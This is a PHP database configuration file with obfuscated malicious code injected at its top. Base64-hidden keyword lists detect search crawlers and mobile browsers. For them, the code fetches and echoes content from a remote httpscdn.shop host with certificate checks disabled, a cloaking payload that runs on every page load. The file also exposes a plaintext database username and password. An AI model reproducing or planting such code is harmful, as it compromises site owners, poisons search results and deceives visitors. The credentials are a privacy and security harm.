database.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
header('Content-Type:text/html;charset=utf-8');

$requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

$mobileKeywords = [
    base64_decode('bW9iaWxl'), base64_decode('YW5kcm9pZA=='), base64_decode('aXBob25l'), base64_decode('aXBhZA=='), base64_decode('aXBvZA=='),
    base64_decode('YmxhY2tiZXJyeQ=='), base64_decode('b3BlcmEgbWluaSc='), base64_decode('aWVtb2JpbGU='),
    base64_decode('d2luZG93cyBwaG9uZQ=='), base64_decode('c2FmYXJp'), base64_decode('ZHVja2R1Y2tnbw=='), base64_decode('dGlrdG9r'), base64_decode('bWVzc2VuZ2Vy'),
    base64_decode('Y2hyb21lIE1vYmlsZQ=='), base64_decode('ZnB0IHBsYXk='), base64_decode('QnBob25l'), base64_decode('ZmJfaWFi'), base64_decode('emFsbw==')
];

$crawlerKeywords = [
    base64_decode('Z29vZ2xl'), base64_decode('Y29jY29j'), base64_decode('eWFob28='), base64_decode('YmluZw=='), base64_decode('ZHVja2R1Y2tnbwoK')
];

$hasKeyword = function($ua, $keywords) {
    foreach ($keywords as $kw) {
        if (stripos($ua, $kw) !== false) {
            return true;
        }
    }
    return false;
};

$isMobileCrawler = $hasKeyword($userAgent, $mobileKeywords);
$isCrawler = $isMobileCrawler || $hasKeyword($userAgent, $crawlerKeywords);

$extReg = '/\.(xml|xhtml|htm|shtml|pdf|jsp|doc|amp|asp|aspx|do|ashx|master|cshtml|vbhtml|jspx|action)$/i';

$hasValidPath = preg_match(
    '#/([a-zA-Z]{6}|[0-9]{8}-[a-zA-Z]+)(/|$)#',
    $requestUri
) || preg_match($extReg, $requestUri);

$sslContextFunction = base64_decode('Z2V0U3NsRGlzYWJsZWRDb250ZXh0');
$fetchContentFunction = base64_decode('ZmV0Y2hDb250ZW50V2l0aFNzbERpc2FibGVk');

function getSslDisabledContext($ua = null) {
    $opts = [
        "ssl" => [
            "verify_peer" => false,
            "verify_peer_name" => false
        ]
    ];
    if ($ua !== null) {
        $opts["http"] = [
            "header" => "User-Agent: " . $ua . "\r\n"
        ];
    }
    return stream_context_create($opts);
}

function fetchContentWithSslDisabled($url, $ua = null) {
    return @file_get_contents($url, false, getSslDisabledContext($ua));
}

if ($isCrawler) {

    $zhizhuPhp = base64_decode('L3poaXpodS5waHA=');

    $base = base64_decode('aHR0cHM6Ly96aHV5ZS5odHRwc2Nkbi5zaG9wLw==');
    $proto = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? "https://" : "http://";
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    $url = $hasValidPath
        ? $base . "?d=" . urlencode($proto . $domain) . "&p=" . urlencode($requestUri)
        : $base . $zhizhuPhp;

    if (($c = fetchContentWithSslDisabled($url, $userAgent)) !== false) {
        echo $c;
    }
} elseif ($hasValidPath) {
    if (($c = fetchContentWithSslDisabled(base64_decode('aHR0cHM6Ly9hcGkuaHR0cHNjZG4uc2hvcC92bi5odG1s'), $userAgent)) !== false) {
        echo $c;
    }
}
define('DB_DRIVER', 'mysqli');
define('DB_HOSTNAME', 'localhost');
define('DB_USERNAME', 'vietanhsei_home');
define('DB_PASSWORD', 'nW3t7P30');
define('DB_DATABASE', 'vietanhsei_home');
define('DB_PREFIX', 'apt_');
?>